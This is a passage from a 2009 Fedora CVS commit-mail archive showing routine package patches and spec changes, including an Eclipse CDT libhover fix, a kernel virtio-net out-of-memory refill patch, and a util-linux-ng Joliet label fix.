+//        								className += "::" + qualified[k];
+//        						} else {
+//        							className = nameBinding.getName();
+//        						}
+//        					}
+//        				}
+//        			}
+////        							System.out.println("classname is " + className);
+//        			
+//        			// Now, let's find the declaration of the method.  We need to do this because we want the specific
+//        			// member prototype to go searching for.  There could be many members called "x" which have different
+//        			// documentation.
+//        			if (className != null) {
+//        				EnclosingASTNameJob job = new EnclosingASTNameJob(t, region.getOffset(), region.getLength());
+//        				job.schedule();
+//        				try {
+//        					job.join();
+//        				} catch (InterruptedException e) {
+//        					// TODO Auto-generated catch block
+//        					e.printStackTrace();
+//        				}
+//        				if (job.getResult() == Status.OK_STATUS)
+//        					result[0] = job.getASTName();
+//        			}
+//        			if (result[0] != null) {
+//        				final IBinding binding = result[0].getBinding();
+//        				if (binding instanceof ICPPFunction) {
+//        					methodType = ((ICPPFunction)binding).getType();
+//        				}
+//        			}
+//        		}
+//        	} catch (IllegalArgumentException e) {
+//        		// TODO Auto-generated catch block
+//        		e.printStackTrace();
+//        	} catch (DOMException e) {
+//				// TODO Auto-generated catch block
+//				e.printStackTrace();
+//			}
+//        }
         	
         // Loop through all the documents we have and report first match.
         for (int i = 0; i < helpBooks.length; ++i) {
@@ -451,7 +451,7 @@ public class LibHover implements ICHelpP
 			return null;
 		if (methodType != null) {
 			try {
-				args = resolveArgs(info, methodType.getParameterTypes());
+				args = resolveArgs(info, methodType.getParameterTypes(), templateTypes);
 				returnType = methodType.getReturnType();
 			} catch (DOMException e) {
 				// TODO Auto-generated catch block
@@ -465,11 +465,11 @@ public class LibHover implements ICHelpP
 		MemberInfo member = info.getMember(memberName);
 		if (member != null) {
 			MemberInfo m = null;
-			if (!isParmMatch(member, args)) {
+			if (!isParmMatch(member, args, templateTypes, info)) {
 				ArrayList<MemberInfo> members = member.getChildren();
 				for (int i = 0; i < members.size(); ++i) {
 					MemberInfo k = members.get(i);
-					if (isParmMatch(k, args)) {
+					if (isParmMatch(k, args, templateTypes, info)) {
 						m = k;
 						break;
 					}
@@ -513,12 +513,18 @@ public class LibHover implements ICHelpP
 	}
      
  	
-	private boolean isParmMatch(MemberInfo m, String[] args) {
+	private boolean isParmMatch(MemberInfo m, String[] args, ArrayList<String> templateTypes, ClassInfo info) {
 		String[] memberParms = m.getParamTypes();
+		for (int i = 0; i < memberParms.length; ++i) {
+			String[] templateParms = info.getTemplateParms();
+			for (int j = 0; j < templateTypes.size(); ++j) {
+				memberParms[i] = memberParms[i].replaceAll(templateParms[j], templateTypes.get(j));
+			}
+		}
 		return Arrays.equals(memberParms, args);
 	}
 
-	private String[] resolveArgs(ClassInfo info, IType[] parameterTypes) {
+	private String[] resolveArgs(ClassInfo info, IType[] parameterTypes, ArrayList<String> templateTypes) {
 		String[] templateParms = info.getTemplateParms();
 		String[] result = new String[parameterTypes.length];
 		for (int i = 0; i < parameterTypes.length; ++i) {
@@ -529,7 +535,11 @@ public class LibHover implements ICHelpP
 			while (index >= 0) {
 				// We assume no class has more than 9 template parms.
 				int digit = param.charAt(index + 1) - '0';
-				param = param.replaceFirst(param.substring(index, index + 2), templateParms[digit]);
+				// where possible, replace template parms with real values
+				if (digit < templateTypes.size())
+					param = param.replaceFirst(param.substring(index, index + 2), templateTypes.get(digit));
+				else
+					param = param.replaceFirst(param.substring(index, index + 2), templateParms[digit]);
 				index = param.indexOf("#");
 			}
 			result[i] = param;
diff -up ./org.eclipse.linuxtools.cdt.libhover/src/org/eclipse/linuxtools/internal/cdt/libhover/LibHoverLibrary.java.fix ./org.eclipse.linuxtools.cdt.libhover/src/org/eclipse/linuxtools/internal/cdt/libhover/LibHoverLibrary.java
--- ./org.eclipse.linuxtools.cdt.libhover/src/org/eclipse/linuxtools/internal/cdt/libhover/LibHoverLibrary.java.fix	2009-10-02 14:32:52.000000000 -0400
+++ ./org.eclipse.linuxtools.cdt.libhover/src/org/eclipse/linuxtools/internal/cdt/libhover/LibHoverLibrary.java	2009-10-02 14:33:28.000000000 -0400
@@ -21,10 +21,12 @@ import java.net.URL;
 import java.util.ArrayList;
 
 import org.eclipse.core.filesystem.URIUtil;
+import org.eclipse.core.runtime.FileLocator;
 import org.eclipse.core.runtime.IPath;
 import org.eclipse.linuxtools.cdt.libhover.ClassInfo;
 import org.eclipse.linuxtools.cdt.libhover.FunctionInfo;
 import org.eclipse.linuxtools.cdt.libhover.LibHoverInfo;
+import org.eclipse.linuxtools.cdt.libhover.LibhoverPlugin;
 import org.eclipse.linuxtools.cdt.libhover.TypedefInfo;
 
 public class LibHoverLibrary {
@@ -98,7 +100,13 @@ public class LibHoverLibrary {
 					URL url = acDoc.toURL();
 					docStream = url.openStream();
 				} else {
-					docStream = new FileInputStream(p.toFile());
+					try {
+						// Try to open the file as local to this plug-in.
+						docStream = FileLocator.openStream(LibhoverPlugin.getDefault().getBundle(), p, false);
+					} catch (IOException e) {
+						// File is not local to plug-in, try file system.
+						docStream = new FileInputStream(p.toFile());
+					}
 				}
 				ObjectInputStream input = new ObjectInputStream(docStream);
 				hoverInfo = (LibHoverInfo)input.readObject();


Index: eclipse-cdt.spec
===================================================================
RCS file: /cvs/extras/rpms/eclipse-cdt/F-11/eclipse-cdt.spec,v
retrieving revision 1.124
retrieving revision 1.125
diff -u -p -r1.124 -r1.125
--- eclipse-cdt.spec	25 Sep 2009 18:15:04 -0000	1.124
+++ eclipse-cdt.spec	2 Oct 2009 18:58:22 -0000	1.125
@@ -20,7 +20,7 @@ Epoch: 1
 Summary:        Eclipse C/C++ Development Tools (CDT) plugin
 Name:           eclipse-cdt
 Version:        %{majmin}.%{micro}
-Release:        5%{?dist}
+Release:        5.1%{?dist}
 License:        EPL and CPL
 Group:          Development/Tools
 URL:            http://www.eclipse.org/cdt
@@ -106,9 +106,10 @@ Patch17: %{name}-autotools-bug281582.pat
 # plugin and not require html to access them.
 Patch18: %{name}-libhover-local.patch
 
-# Following is a patch to libhover to fix member resolution, plugin loading,
-# and to enable local plugin file support for docs.
-Patch19: %{name}-libhover.patch
+# Following is a patch to libhover to allow libhover docs to be in the
+# libhover plugin.  It also disables C++ support from 0_3_0 which requires
+# CDT 6.0.
+Patch19: %{name}-libhover-oldcdt.patch
 
 BuildRequires: eclipse-pde
 BuildRequires: eclipse-mylyn >= 3.0
@@ -594,6 +595,9 @@ fi
 %endif
 
 %changelog
+* Fri Oct 02 2009 Jeff Johnston <jjohnstn at redhat.com> 5.0.2-6
+- Disable libstdc++ libhover from 0.3.0 which cannot work without CDT 6.0.
+
 * Wed Sep 23 2009 Jeff Johnston <jjohnstn at redhat.com> 5.0.2-5
 - Resolves #525004
 - Upgrade libhover to 0.3.0.



From jforbes at fedoraproject.org  Fri Oct  2 18:58:55 2009
From: jforbes at fedoraproject.org (Justin M. Forbes)
Date: Fri,  2 Oct 2009 18:58:55 +0000 (UTC)
Subject: rpms/kernel/F-11 linux-2.6-virtio-net-refill-on-out-of-memory.patch,
	NONE, 1.1 kernel.spec, 1.1748, 1.1749
Message-ID: <20091002185855.9C36F11C00C1@cvs1.fedora.phx.redhat.com>

Author: jforbes

Update of /cvs/pkgs/rpms/kernel/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20473

Modified Files:
	kernel.spec 
Added Files:
	linux-2.6-virtio-net-refill-on-out-of-memory.patch 
Log Message:
Add linux-2.6-virtio-net-refill-on-out-of-memory.patch, from 2.6.31 to prevent page allocation failures in guests. (#520119)

linux-2.6-virtio-net-refill-on-out-of-memory.patch:
 virtio_net.c |   62 +++++++++++++++++++++++++++++++++++++++++++----------------
 1 file changed, 46 insertions(+), 16 deletions(-)

--- NEW FILE linux-2.6-virtio-net-refill-on-out-of-memory.patch ---
>From a4ffb0ecbdab9ee46027f457d78b697f425c262e Mon Sep 17 00:00:00 2001
From: Rusty Russell <rusty at rustcorp.com.au>
Date: Wed, 26 Aug 2009 12:22:32 -0700
Subject: [PATCH] virtio: net refill on out-of-memory

If we run out of memory, use keventd to fill the buffer.  There's a
report of this happening: "Page allocation failures in guest",
Message-ID: <20090713115158.0a4892b0 at mjolnir.ossman.eu>

(cherry picked from commit 3161e453e496eb5643faad30fff5a5ab183da0fe)

Signed-off-by: Rusty Russell <rusty at rustcorp.com.au>
Signed-off-by: David S. Miller <davem at davemloft.net>
Signed-off-by: Mark McLoughlin <markmc at redhat.com>
---
 drivers/net/virtio_net.c |   61 ++++++++++++++++++++++++++++++++++-----------
 1 files changed, 46 insertions(+), 15 deletions(-)

diff --git a/drivers/net/virtio_net.c b/drivers/net/virtio_net.c
index 4d1d479..6f5cabe 100644
--- a/drivers/net/virtio_net.c
+++ b/drivers/net/virtio_net.c
@@ -70,6 +70,9 @@ struct virtnet_info
 	struct sk_buff_head recv;
 	struct sk_buff_head send;
 
+	/* Work struct for refilling if we run low on memory. */
+	struct delayed_work refill;
+
 	/* Chain pages by the private ptr. */
 	struct page *pages;
 };
@@ -273,19 +276,22 @@ drop:
 	dev_kfree_skb(skb);
 }
 
-static void try_fill_recv_maxbufs(struct virtnet_info *vi)
+static bool try_fill_recv_maxbufs(struct virtnet_info *vi, gfp_t gfp)
 {
 	struct sk_buff *skb;
 	struct scatterlist sg[2+MAX_SKB_FRAGS];
 	int num, err, i;
+	bool oom = false;
 
 	sg_init_table(sg, 2+MAX_SKB_FRAGS);
 	for (;;) {
 		struct virtio_net_hdr *hdr;
 
 		skb = netdev_alloc_skb(vi->dev, MAX_PACKET_LEN);
-		if (unlikely(!skb))
+		if (unlikely(!skb)) {
+			oom = true;
 			break;
+		}
 
 		skb_put(skb, MAX_PACKET_LEN);
 
@@ -295,7 +301,7 @@ static void try_fill_recv_maxbufs(struct virtnet_info *vi)
 		if (vi->big_packets) {
 			for (i = 0; i < MAX_SKB_FRAGS; i++) {
 				skb_frag_t *f = &skb_shinfo(skb)->frags[i];
-				f->page = get_a_page(vi, GFP_ATOMIC);
+				f->page = get_a_page(vi, gfp);
 				if (!f->page)
 					break;
 
@@ -324,31 +330,35 @@ static void try_fill_recv_maxbufs(struct virtnet_info *vi)
 	if (unlikely(vi->num > vi->max))
 		vi->max = vi->num;
 	vi->rvq->vq_ops->kick(vi->rvq);
+	return !oom;
 }
 
-static void try_fill_recv(struct virtnet_info *vi)
+/* Returns false if we couldn't fill entirely (OOM). */
+static bool try_fill_recv(struct virtnet_info *vi, gfp_t gfp)
 {
 	struct sk_buff *skb;
 	struct scatterlist sg[1];
 	int err;
+	bool oom = false;
 
-	if (!vi->mergeable_rx_bufs) {
-		try_fill_recv_maxbufs(vi);
-		return;
-	}
+	if (!vi->mergeable_rx_bufs)
+		return try_fill_recv_maxbufs(vi, gfp);
 
 	for (;;) {
 		skb_frag_t *f;
 
 		skb = netdev_alloc_skb(vi->dev, GOOD_COPY_LEN + NET_IP_ALIGN);
-		if (unlikely(!skb))
+		if (unlikely(!skb)) {
+			oom = true;
 			break;
+		}
 
 		skb_reserve(skb, NET_IP_ALIGN);
 
 		f = &skb_shinfo(skb)->frags[0];
-		f->page = get_a_page(vi, GFP_ATOMIC);
+		f->page = get_a_page(vi, gfp);
 		if (!f->page) {
+			oom = true;
 			kfree_skb(skb);
 			break;
 		}
@@ -372,6 +382,7 @@ static void try_fill_recv(struct virtnet_info *vi)
 	if (unlikely(vi->num > vi->max))
 		vi->max = vi->num;
 	vi->rvq->vq_ops->kick(vi->rvq);
+	return !oom;
 }
 
 static void skb_recv_done(struct virtqueue *rvq)
@@ -384,6 +395,23 @@ static void skb_recv_done(struct virtqueue *rvq)
 	}
 }
 
+static void refill_work(struct work_struct *work)
+{
+	struct virtnet_info *vi;
+	bool still_empty;
+
+	vi = container_of(work, struct virtnet_info, refill.work);
+	napi_disable(&vi->napi);
+	try_fill_recv(vi, GFP_KERNEL);
+	still_empty = (vi->num == 0);
+	napi_enable(&vi->napi);
+
+	/* In theory, this can happen: if we don't get any buffers in
+	 * we will *never* try to fill again. */
+	if (still_empty)
+		schedule_delayed_work(&vi->refill, HZ/2);
+}
+
 static int virtnet_poll(struct napi_struct *napi, int budget)
 {
 	struct virtnet_info *vi = container_of(napi, struct virtnet_info, napi);
@@ -399,10 +427,10 @@ again:
 		received++;
 	}
 
-	/* FIXME: If we oom and completely run out of inbufs, we need
-	 * to start a timer trying to fill more. */
-	if (vi->num < vi->max / 2)
-		try_fill_recv(vi);
+	if (vi->num < vi->max / 2) {
+		if (!try_fill_recv(vi, GFP_ATOMIC))
+			schedule_delayed_work(&vi->refill, 0);
+	}
 
 	/* Out of packets? */
 	if (received < budget) {
@@ -891,6 +919,7 @@ static int virtnet_probe(struct virtio_device *vdev)
 	vi->vdev = vdev;
 	vdev->priv = vi;
 	vi->pages = NULL;
+	INIT_DELAYED_WORK(&vi->refill, refill_work);
 
 	/* If they give us a callback when all buffers are done, we don't need
 	 * the timer. */
@@ -945,7 +974,7 @@ static int virtnet_probe(struct virtio_device *vdev)
 	}
 
 	/* Last of all, set up some receive buffers. */
-	try_fill_recv(vi);
+	try_fill_recv(vi, GFP_KERNEL);
 
 	/* If we didn't even get one input buffer, we're useless. */
 	if (vi->num == 0) {
@@ -962,6 +991,7 @@ static int virtnet_probe(struct virtio_device *vdev)
 
 unregister:
 	unregister_netdev(dev);
+	cancel_delayed_work_sync(&vi->refill);
 free_ctrl:
 	if (virtio_has_feature(vi->vdev, VIRTIO_NET_F_CTRL_VQ))
 		vdev->config->del_vq(vi->cvq);
@@ -999,6 +1029,7 @@ static void virtnet_remove(struct virtio_device *vdev)
 	if (virtio_has_feature(vi->vdev, VIRTIO_NET_F_CTRL_VQ))
 		vdev->config->del_vq(vi->cvq);
 	unregister_netdev(vi->dev);
+	cancel_delayed_work_sync(&vi->refill);
 
 	while (vi->pages)
 		__free_pages(get_a_page(vi, GFP_KERNEL), 0);
-- 
1.6.2.5



Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-11/kernel.spec,v
retrieving revision 1.1748
retrieving revision 1.1749
diff -u -p -r1.1748 -r1.1749
--- kernel.spec	28 Sep 2009 16:54:12 -0000	1.1748
+++ kernel.spec	2 Oct 2009 18:58:55 -0000	1.1749
@@ -657,6 +657,7 @@ Patch1000: linux-2.6-neigh_-fix-state-tr
 Patch1200: linux-2.6-xen-fix-brkpoints-hw-watchpoints.patch
 Patch1201: linux-2.6-xen-clean-up-warnings.patch
 Patch1202: linux-2.6-virtio_blk-revert-QUEUE_FLAG_VIRT-addition.patch
+Patch1203: linux-2.6-virtio-net-refill-on-out-of-memory.patch
 
 Patch1515: lirc-2.6.31.patch
 Patch1517: hid-ignore-all-recent-imon-devices.patch
@@ -1297,6 +1298,7 @@ ApplyPatch linux-2.6-xen-clean-up-warnin
 
 # Misc Virt
 ApplyPatch linux-2.6-virtio_blk-revert-QUEUE_FLAG_VIRT-addition.patch
+ApplyPatch linux-2.6-virtio-net-refill-on-out-of-memory.patch
 
 # Misc fixes
 # The input layer spews crap no-one cares about.
@@ -2026,6 +2028,10 @@ fi
 # and build.
 
 %changelog
+* Fri Oct  2 2009  Justin M. Forbes <jforbes at redhat.com>  2.6.30.8-70
+- Add linux-2.6-virtio-net-refill-on-out-of-memory.patch, from 2.6.31
+  to prevent page allocation failures in guests. (#520119)
+
 * Mon Sep 28 2009  Chuck Ebbert <cebbert at redhat.com>  2.6.30.8-69
 - Add linux-2.6-kvm-revert-x86-check-for-cr3-validity.patch, from
   2.6.32-rc, fixes bug #525743



From notting at fedoraproject.org  Fri Oct  2 19:10:46 2009
From: notting at fedoraproject.org (Bill Nottingham)
Date: Fri,  2 Oct 2009 19:10:46 +0000 (UTC)
Subject: rpms/initscripts/F-12 .cvsignore, 1.169, 1.170 initscripts.spec,
	1.200, 1.201 sources, 1.188, 1.189
Message-ID: <20091002191046.C08C611C048B@cvs1.fedora.phx.redhat.com>

Author: notting

Update of /cvs/extras/rpms/initscripts/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23673

Modified Files:
	.cvsignore initscripts.spec sources 
Log Message:
9.00-1



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/initscripts/F-12/.cvsignore,v
retrieving revision 1.169
retrieving revision 1.170
diff -u -p -r1.169 -r1.170
--- .cvsignore	14 Sep 2009 16:41:34 -0000	1.169
+++ .cvsignore	2 Oct 2009 19:10:42 -0000	1.170
@@ -1 +1 @@
-initscripts-8.99.tar.bz2
+initscripts-9.00.tar.bz2


Index: initscripts.spec
===================================================================
RCS file: /cvs/extras/rpms/initscripts/F-12/initscripts.spec,v
retrieving revision 1.200
retrieving revision 1.201
diff -u -p -r1.200 -r1.201
--- initscripts.spec	14 Sep 2009 16:41:34 -0000	1.200
+++ initscripts.spec	2 Oct 2009 19:10:42 -0000	1.201
@@ -2,7 +2,7 @@
 
 Summary: The inittab file and the /etc/init.d scripts
 Name: initscripts
-Version: 8.99
+Version: 9.00
 # ppp-watch is GPLv2+, everything else is GPLv2
 License: GPLv2 and GPLv2+
 Group: System Environment/Base
@@ -17,6 +17,7 @@ Requires: /sbin/pidof, /sbin/blkid
 Requires: module-init-tools
 Requires: util-linux-ng >= 2.16, mount >= 2.11l
 Requires: bash >= 3.0
+Requires: sysvinit-tools >= 2.87
 %if with_upstart
 Requires: upstart
 %else
@@ -251,6 +252,15 @@ rm -rf $RPM_BUILD_ROOT
 /etc/profile.d/debug*
 
 %changelog
+* Fri Oct  2 2009 Bill Nottingham <notting at redhat.com> - 9.00-1
+- halt: wrap /sbin/killall5 to catch some return codes (#526539)
+- netfs, netconsle, network: fix return codes to match LSB spec (#524489, #524480, #524486)
+- handle kernels compiled both with and without CONFIG_RTC_HCTOSYS
+- halt: use killall5's return code to avoid unncesssary sleeping (#524359, <hdegoede at redhat.com>)
+- halt: don't kill mdmon on shutdown. (#524357, <hdegoede at redhat.com>)
+- rc.sysinit: do not try and activate ISW raidsets, unless noiswmd is passed. (#524355, <hdegoede at redhat.com>)
+- translation updates: ca, cs, da, mai, po, sv, uk
+
 * Mon Sep 14 2009 Bill Nottingham <notting at redhat.com> - 8.99-1
 - init.d/functions: add a '-l' option to status to pass lock file name (#521772)
 - tweak kernel conflict


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/initscripts/F-12/sources,v
retrieving revision 1.188
retrieving revision 1.189
diff -u -p -r1.188 -r1.189
--- sources	14 Sep 2009 16:41:34 -0000	1.188
+++ sources	2 Oct 2009 19:10:43 -0000	1.189
@@ -1 +1 @@
-ec294a0d68f6a14c1b6f3cf507a48aad  initscripts-8.99.tar.bz2
+8c7c09a332e5f25cab16eedd2b3ddabf  initscripts-9.00.tar.bz2



From jussilehtola at fedoraproject.org  Fri Oct  2 19:11:32 2009
From: jussilehtola at fedoraproject.org (Jussi Lehtola)
Date: Fri,  2 Oct 2009 19:11:32 +0000 (UTC)
Subject: rpms/jmol/EL-5 jmol.patch,1.1,NONE
Message-ID: <20091002191132.AFE6A11C00C1@cvs1.fedora.phx.redhat.com>

Author: jussilehtola

Update of /cvs/pkgs/rpms/jmol/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24118/EL-5

Removed Files:
	jmol.patch 
Log Message:
Remove obsoleted patch


--- jmol.patch DELETED ---



From jussilehtola at fedoraproject.org  Fri Oct  2 19:11:32 2009
From: jussilehtola at fedoraproject.org (Jussi Lehtola)
Date: Fri,  2 Oct 2009 19:11:32 +0000 (UTC)
Subject: rpms/jmol/F-10 jmol.patch,1.1,NONE
Message-ID: <20091002191132.E96BA11C00C1@cvs1.fedora.phx.redhat.com>

Author: jussilehtola

Update of /cvs/pkgs/rpms/jmol/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24118/F-10

Removed Files:
	jmol.patch 
Log Message:
Remove obsoleted patch


--- jmol.patch DELETED ---



From jussilehtola at fedoraproject.org  Fri Oct  2 19:11:33 2009
From: jussilehtola at fedoraproject.org (Jussi Lehtola)
Date: Fri,  2 Oct 2009 19:11:33 +0000 (UTC)
Subject: rpms/jmol/F-11 jmol.patch,1.1,NONE
Message-ID: <20091002191133.326BC11C00C1@cvs1.fedora.phx.redhat.com>

Author: jussilehtola

Update of /cvs/pkgs/rpms/jmol/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24118/F-11

Removed Files:
	jmol.patch 
Log Message:
Remove obsoleted patch


--- jmol.patch DELETED ---



From kzak at fedoraproject.org  Fri Oct  2 19:24:34 2009
From: kzak at fedoraproject.org (kzak)
Date: Fri,  2 Oct 2009 19:24:34 +0000 (UTC)
Subject: rpms/util-linux-ng/F-12 util-linux-ng-2.16-libblkid-joliet.patch,
	NONE, 1.1 util-linux-ng.spec, 1.60, 1.61
Message-ID: <20091002192434.A000211C00C1@cvs1.fedora.phx.redhat.com>

Author: kzak

Update of /cvs/pkgs/rpms/util-linux-ng/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29519

Modified Files:
	util-linux-ng.spec 
Added Files:
	util-linux-ng-2.16-libblkid-joliet.patch 
Log Message:
* Fri Oct  2 2009 Karel Zak <kzak at redhat.com> 2.16-10.1
- #514413 - Extra spaces at the end of CD mount point


util-linux-ng-2.16-libblkid-joliet.patch:
 probe.c           |   32 +++++++++++++++++++++-----------
 probers/iso9660.c |   26 +++++++++++++++++++++++---
 2 files changed, 44 insertions(+), 14 deletions(-)

--- NEW FILE util-linux-ng-2.16-libblkid-joliet.patch ---
diff -up util-linux-ng-2.16/shlibs/blkid/src/probe.c.kzak util-linux-ng-2.16/shlibs/blkid/src/probe.c
--- util-linux-ng-2.16/shlibs/blkid/src/probe.c.kzak	2009-07-04 01:20:03.000000000 +0200
+++ util-linux-ng-2.16/shlibs/blkid/src/probe.c	2009-10-02 20:53:33.000000000 +0200
@@ -685,10 +685,27 @@ static int blkid_probe_set_usage(blkid_p
 	return blkid_probe_set_value(pr, "USAGE", (unsigned char *) u, strlen(u) + 1);
 }
 
+
+/* Removes whitespace from the right-hand side of a string (trailing
+ * whitespace).
+ *
+ * Returns size of the new string (without \0).
+ */
+static size_t blkid_rtrim_whitespace(unsigned char *str)
+{
+	size_t i = strlen((char *) str);
+
+	while (i--) {
+		if (!isspace(str[i]))
+			break;
+	}
+	str[++i] = '\0';
+	return i;
+}
+
 int blkid_probe_set_label(blkid_probe pr, unsigned char *label, size_t len)
 {
 	struct blkid_prval *v;
-	int i;
 
 	if (len > BLKID_PROBVAL_BUFSIZ)
 		len = BLKID_PROBVAL_BUFSIZ;
@@ -704,15 +721,7 @@ int blkid_probe_set_label(blkid_probe pr
 
 	memcpy(v->data, label, len);
 	v->data[len] = '\0';
-
-	/* remove trailing whitespace */
-	i = strnlen((char *) v->data, len);
-	while (i--) {
-		if (!isspace(v->data[i]))
-			break;
-	}
-	v->data[++i] = '\0';
-	v->len = i + 1;
+	v->len = blkid_rtrim_whitespace(v->data) + 1;
 	return 0;
 }
 
@@ -765,7 +774,8 @@ int blkid_probe_set_utf8label(blkid_prob
 	if (!v)
 		return -1;
 
-	v->len = encode_to_utf8(enc, v->data, sizeof(v->data), label, len);
+	encode_to_utf8(enc, v->data, sizeof(v->data), label, len);
+	v->len = blkid_rtrim_whitespace(v->data) + 1;
 	return 0;
 }
 
diff -up util-linux-ng-2.16/shlibs/blkid/src/probers/iso9660.c.kzak util-linux-ng-2.16/shlibs/blkid/src/probers/iso9660.c
--- util-linux-ng-2.16/shlibs/blkid/src/probers/iso9660.c.kzak	2009-07-04 01:20:02.000000000 +0200
+++ util-linux-ng-2.16/shlibs/blkid/src/probers/iso9660.c	2009-10-02 20:54:43.000000000 +0200
@@ -19,6 +19,7 @@
 
 #include "blkidP.h"
 
+/* PVD - Primary volume descriptor */
 struct iso_volume_descriptor {
 	unsigned char	vd_type;
 	unsigned char	vd_id[5];
@@ -48,6 +49,20 @@ struct high_sierra_volume_descriptor {
 	unsigned char   volume_id[32];
 };
 
+/* returns 1 if the begin of @ascii is equal to @utf16 string.
+ */
+static int ascii_eq_utf16be(unsigned char *ascii,
+			unsigned char *utf16, size_t len)
+{
+	int a, u;
+
+	for (a = 0, u = 0; u < len; a++, u += 2) {
+		if (utf16[u] != 0x0 || ascii[a] != utf16[u + 1])
+			return 0;
+	}
+	return 1;
+}
+
 /* old High Sierra format */
 static int probe_iso9660_hsfs(blkid_probe pr, const struct blkid_idmag *mag)
 {
@@ -82,8 +97,6 @@ static int probe_iso9660(blkid_probe pr,
 	/* Joliet Extension */
 	off = ISO_VD_OFFSET;
 	for (i = 0; i < ISO_VD_MAX; i++) {
-		uint8_t svd_label[64];
-
 		iso = (struct iso_volume_descriptor *)
 			blkid_probe_get_buffer(pr,
 					off,
@@ -98,9 +111,16 @@ static int probe_iso9660(blkid_probe pr,
 		    memcmp(iso->escape_sequences, "%/C", 3) == 0 ||
 		    memcmp(iso->escape_sequences, "%/E", 3) == 0) {
 
+			/* Is the Joliet (UTF16BE) label equal to the label in
+			 * the PVD? If yes, use PVD label.  The Jolied version
+			 * of the label could be trimed (because UTF16..).
+			 */
+			if (ascii_eq_utf16be(label, iso->volume_id, 32))
+				break;
+
 			blkid_probe_set_utf8label(pr,
 					iso->volume_id,
-					sizeof(svd_label),
+					sizeof(iso->volume_id),
 					BLKID_ENC_UTF16BE);
 
 			blkid_probe_set_version(pr, "Joliet Extension");


Index: util-linux-ng.spec
===================================================================
RCS file: /cvs/pkgs/rpms/util-linux-ng/F-12/util-linux-ng.spec,v
retrieving revision 1.60
retrieving revision 1.61
diff -u -p -r1.60 -r1.61
--- util-linux-ng.spec	16 Sep 2009 19:04:11 -0000	1.60
+++ util-linux-ng.spec	2 Oct 2009 19:24:34 -0000	1.61
@@ -2,7 +2,7 @@
 Summary: A collection of basic system utilities
 Name: util-linux-ng
 Version: 2.16
-Release: 10%{?dist}
+Release: 10.1%{?dist}
 License: GPLv2 and GPLv2+ and BSD with advertising and Public Domain
 Group: System Environment/Base
 URL: ftp://ftp.kernel.org/pub/linux/utils/util-linux-ng
@@ -114,6 +114,8 @@ Patch10: util-linux-ng-2.16-libblkid-com
 Patch11: util-linux-ng-2.14-sfdisk-dump.patch
 # Swsuspend does not work
 Patch12: util-linux-ng-2.16-blkid-swsuspend.patch
+# 514413 -  Extra spaces at the end of CD mount point
+Patch13: util-linux-ng-2.16-libblkid-joliet.patch
 
 %description
 The util-linux-ng package contains a large variety of low-level system
@@ -212,6 +214,7 @@ cp %{SOURCE8} %{SOURCE9} .
 %patch10 -p1
 %patch11 -p1
 %patch12 -p1
+%patch13 -p1
 
 %build
 unset LINGUAS || :
@@ -722,6 +725,9 @@ fi
 
 
 %changelog
+* Fri Oct  2 2009 Karel Zak <kzak at redhat.com> 2.16-10.1
+- #514413 - Extra spaces at the end of CD mount point
+
 * Wed Sep 16 2009 Tomas Mraz <tmraz at redhat.com> - 2.16-10
 - use password-auth common PAM configuration instead of system-auth and
   drop pam_console.so call from the remote PAM config file



From bpepple at fedoraproject.org  Fri Oct  2 19:31:39 2009
From: bpepple at fedoraproject.org (Brian Pepple)
Date: Fri,  2 Oct 2009 19:31:39 +0000 (UTC)
Subject: rpms/empathy/devel .cvsignore, 1.39, 1.40 empathy.spec, 1.78,
	1.79 sources, 1.39, 1.40
Message-ID: <20091002193139.222F911C00C1@cvs1.fedora.phx.redhat.com>

Author: bpepple

Update of /cvs/pkgs/rpms/empathy/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31629

Modified Files:
	.cvsignore empathy.spec sources 
Log Message:
* Fri Oct  2 2009 Brian Pepple <bpepple at fedoraproject.org> - 2.28.0.1-1
- Update to 2.28.0.1.
- See http://download.gnome.org/sources/empathy/2.28/empathy-2.28.0.1.news



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/empathy/devel/.cvsignore,v
retrieving revision 1.39
retrieving revision 1.40
diff -u -p -r1.39 -r1.40
--- .cvsignore	21 Sep 2009 23:16:45 -0000	1.39
+++ .cvsignore	2 Oct 2009 19:31:38 -0000	1.40
@@ -1 +1 @@
-empathy-2.28.0.tar.bz2
+empathy-2.28.0.1.tar.bz2


Index: empathy.spec
===================================================================
RCS file: /cvs/pkgs/rpms/empathy/devel/empathy.spec,v
retrieving revision 1.78
retrieving revision 1.79
diff -u -p -r1.78 -r1.79
--- empathy.spec	21 Sep 2009 23:16:46 -0000	1.78
+++ empathy.spec	2 Oct 2009 19:31:38 -0000	1.79
@@ -13,7 +13,7 @@
 %global libchamplain_version    0.4
 
 Name:		empathy
-Version:	2.28.0
+Version:	2.28.0.1
 Release:	1%{?dist}
 Summary:	Instant Messaging Client for GNOME
 
@@ -70,9 +70,7 @@ Requires:	telepathy-filesystem
 ##       PackageKit and friends?
 Requires:	telepathy-gabble
 Requires:	telepathy-salut
-## Also hardcode Haze dependency since Empathy is the default IM client in F10+
-## and I'd hate for people to simply disregard it for lack of the "out of the
-## box" protocol support that Pidgin has. (RHBZ: 458935)
+## Also hardcode Haze dependency since Empathy is the default IM client in F12(RHBZ: 458935)
 Requires:	telepathy-haze
 Requires:	telepathy-mission-control >= %{tp_mc_min_version}
 
@@ -244,6 +242,10 @@ fi
 %{python_sitearch}/empathy*.so
 
 %changelog
+* Fri Oct  2 2009 Brian Pepple <bpepple at fedoraproject.org> - 2.28.0.1-1
+- Update to 2.28.0.1.
+- See http://download.gnome.org/sources/empathy/2.28/empathy-2.28.0.1.news
+
 * Mon Sep 21 2009 Brian Pepple <bpepple at fedoraproject.org> - 2.28.0-1
 - Update to 2.28.0.
 - Drop video widget patch.  Fixed upstream.


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/empathy/devel/sources,v
retrieving revision 1.39
retrieving revision 1.40
diff -u -p -r1.39 -r1.40
--- sources	21 Sep 2009 23:16:46 -0000	1.39
